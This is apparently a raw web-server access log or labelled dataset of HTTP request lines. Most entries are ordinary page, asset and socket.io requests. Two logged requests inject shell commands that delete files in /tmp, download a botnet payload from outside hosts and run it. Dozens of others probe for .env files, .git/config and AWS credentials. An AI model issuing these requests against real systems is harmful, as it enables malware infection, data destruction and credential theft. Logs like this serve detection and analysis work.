203	1	\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF1\x03%\x00\x00\x00{ \x22Ret\x22 : 100, \x22SessionID\x22 : \x220x0\x22 }
204	1	GET /js/jquery-ui.mainControllers.js HTTP/1.1
205	1	GET /socket.io/1/?t=1741542965961 HTTP/1.1
206	1	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
207	1	GET /socket.io/1/?t=1741543966856 HTTP/1.1
208	1	GET /socket.io/1/?t=1741544069251 HTTP/1.1
209	1	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.129.101/jaws;chmod+777+/tmp/jaws;sh+/tmp/jaws HTTP/1.1
210	1	GET /login/signin.css HTTP/1.1
211	1	GET /socket.io/1/?t=1741547486384 HTTP/1.1
212	1	GET /css/spacer.gif HTTP/1.1
213	1	GET /css/star-full.svg HTTP/1.1
214	1	GET /portal/redlion HTTP/1.1
215	1	GET /socket.io/1/?t=1741553011007 HTTP/1.1
216	1	GET /socket.io/1/?t=1741553788383 HTTP/1.1
217	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x032\xDB\x86\xC6\x8F\xCA\xA7\xF2\xFC\xAD]\xBD\x98\x8E#\x93\x09\x0C\xD6\xA0\xD3\xFE\xF5t\xC0z\xBE\xC2\xE7\xE0\x83\x15 \xE0\xB0f\xB4;\xFF\xF1 Q\xC1\xDE\xDF\x8A\x92\x12\xAD\xA7\x0E^\x82\xF3\xB5\x81\xFE\xC8\xC3\xB1\x90\x7F\x80@V\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
218	1	GET /dev/.git/config HTTP/1.1
219	1	GET /.aws/credentials HTTP/1.1
220	1	GET /.env.ci HTTP/1.1
221	1	GET /.env.live HTTP/1.1
222	1	GET /.env.template HTTP/1.1
223	1	GET /.env_sample HTTP/1.1
224	1	GET /project/.git/config HTTP/1.1
225	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x00\x0EOf7\x82\x0FI\x00\xEA \xE7\xAA@\xC6\xF9u\xAD\x0B\xC4\x90B\xA9\xEE\xEFk\x92\xFCYkxK \x89`86=lH\x97\xF4\xA8\x10\xE5\x15\xE5t\xE1\xF3\x02\x96\xAE!(p2\xD6Ga\xFC(\x1E\xE2\x1B\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
226	1	GET /Module1/Home.html HTTP/1.1
227	1	GET /build/.env HTTP/1.1
228	1	GET /.env.production.local HTTP/1.1
229	1	GET /config.json HTTP/1.1
230	1	GET /.env.test HTTP/1.1
231	1	GET /backup/.git/config HTTP/1.1
232	1	GET /.env.default HTTP/1.1
233	1	GET /.env.development.local HTTP/1.1
234	1	GET /api/.git/config HTTP/1.1
235	1	GET /src/.git/config HTTP/1.1
236	1	GET /.env.dev HTTP/1.1
237	1	GET /.env.dist HTTP/1.1
238	1	GET /.env.preprod HTTP/1.1
239	1	GET /cms/.git/config HTTP/1.1
240	1	GET /.env.local HTTP/1.1
241	1	GET /.env.stage HTTP/1.1
242	1	GET /config/.env HTTP/1.1
243	1	GET /.env.testing HTTP/1.1
244	1	GET /.env.bak HTTP/1.1
245	1	GET /settings/.env HTTP/1.1
246	1	GET /core/.git/config HTTP/1.1
247	1	GET /admin/.git/config HTTP/1.1
248	1	GET /app/.git/config HTTP/1.1
249	1	GET /config/.git/config HTTP/1.1
250	1	GET /files/.git/config HTTP/1.1
251	1	GET /data/.git/config HTTP/1.1
252	1	GET /public/.git/config HTTP/1.1
253	1	GET /.env.save HTTP/1.1
254	1	GET /.env.sandbox HTTP/1.1
255	1	GET /.env.uat HTTP/1.1
256	1	GET /media/.git/config HTTP/1.1
257	1	GET /solr/admin/info/system?wt=json HTTP/1.1
258	1	\x16\x03\x01\x00\xAC\x01\x00\x00\xA8\x03\x03\xD4\x16\x08z\x97\xCF\xA5\xE0\xB4(\xA6\xB4\x8D3\xB7\xF2\xAEAae\x9ES\x19I\xFC\x14*-\x8D\xC6\x1F-\x00\x008\xC0,\xC0